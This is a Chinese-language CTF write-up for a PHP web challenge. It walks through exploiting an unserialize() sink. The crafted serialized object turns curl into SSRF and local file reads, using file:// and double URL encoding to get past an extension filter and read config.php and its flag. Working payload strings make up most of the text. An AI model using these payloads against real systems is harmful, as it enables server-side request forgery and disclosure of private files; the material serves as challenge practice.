题目所给源码
<?php class SHITS{ private $url; private $method; private $addr; private $host; private $name; function __construct($method,$url){ $this->method = $method; $this->url = $url; } function doit(){ $this->host = @parse_url($this->url)['host']; $this->addr = @gethostbyname($this->host); $this->name = @gethostbyaddr($this->host); if($this->addr !== "127.0.0.1" || $this->name === false){ $not = ['.txt','.php','.xml','.html','.','[',']']; foreach($not as $ext){ $p = strpos($this->url,$ext); if($p){ die(":)"); } } $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$this->url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); echo $result; }else{ die(":)"); } } function __destruct(){ if(in_array($this->method,array("doit"))){ call_user_func_array(array($this,$this->method),array()); }else{ die(":)"); } } } if(isset($_GET["gg"])) { @unserialize($_GET["gg"]); } else { highlight_file(__FILE__); }
|
打开 config.php
,出现 awn…
猜想 flag
在 config.php
中,并且有访问限制,构造 ssrf
进行访问,然而还是啥都没有,与外网直接访问的界面一样
$not = ['.txt','.php','.xml','.html','.','[',']']; foreach($not as $ext){ $p = strpos($this->url,$ext); if($p){ die(":)"); } }
|
此处可构造 绕过方法参考
$gg = new SHITS('doit', '.php@68.183.31.62:991/config.php'); $gg = new SHITS('doit', '.php@localhost/config.php'); $gg = new SHITS('doit', 'localhost/config%2ephp'); $ser = serialize($gg); echo urlencode($ser) ."<br>"; unserialize($ser);
|
得到:
O%3A5%3A%22SHITS%22%3A5%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A32%3A%22.php%4068.183.31.62%3A991%2Fco nfig.php%22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3A4%3A%22doit%22%3Bs%3A11%3A%22%00SHITS%00addr%22%3B N%3Bs%3A11%3A%22%00SHITS%00host%22%3BN%3Bs%3A11%3A%22%00SHITS%00name%22%3BN%3B%7D
|
先URL编码,若序列化后直接反序列化,某些特殊符号的编码问题会引起length
混乱,出现 unserialize(): Error at offset 错误
,
也可以进行其他的编码,比如 base64,但是需要改代码,这里利用 web 特性,url 编码
最方便
但是并没有什么卵用
还是得 file:///var/www/html/config%2ephp
二次编码绕过 .
exp:
O%3A5%3A%22SHITS%22%3A5%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A33%3A%22file%3A%2F%2F%2Fvar%2Fwww %2Fhtml%2Fconfig%252ephp%22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3A4%3A%22doit%22%3Bs%3A11%3A%22 %00SHITS%00addr%22%3BN%3Bs%3A11%3A%22%00SHITS%00host%22%3BN%3Bs%3A11%3A%22%00SHITS%00name%22%3BN%3B%7D
|
读取 config.php
if($_SERVER['REMOTE_ADDR'] !== '::1' || $_SERVER['REMOTE_ADDR'] !== '127.0.0.1'){ echo "aaawn"; }else{ $flag ="F#{wtf_5trp0s_}"; }
|
观察代码,此处的 ||
,能到 else 吗,出题人真阴险 :)
其实可以这样,不需要所有属性,只要前两个%2F%2F%2Fvar%2Fwww%2Fhtml%2Fconfig%252ephp%22%3Bs%3A13%3A%22%00SHITS%00method%22%3
|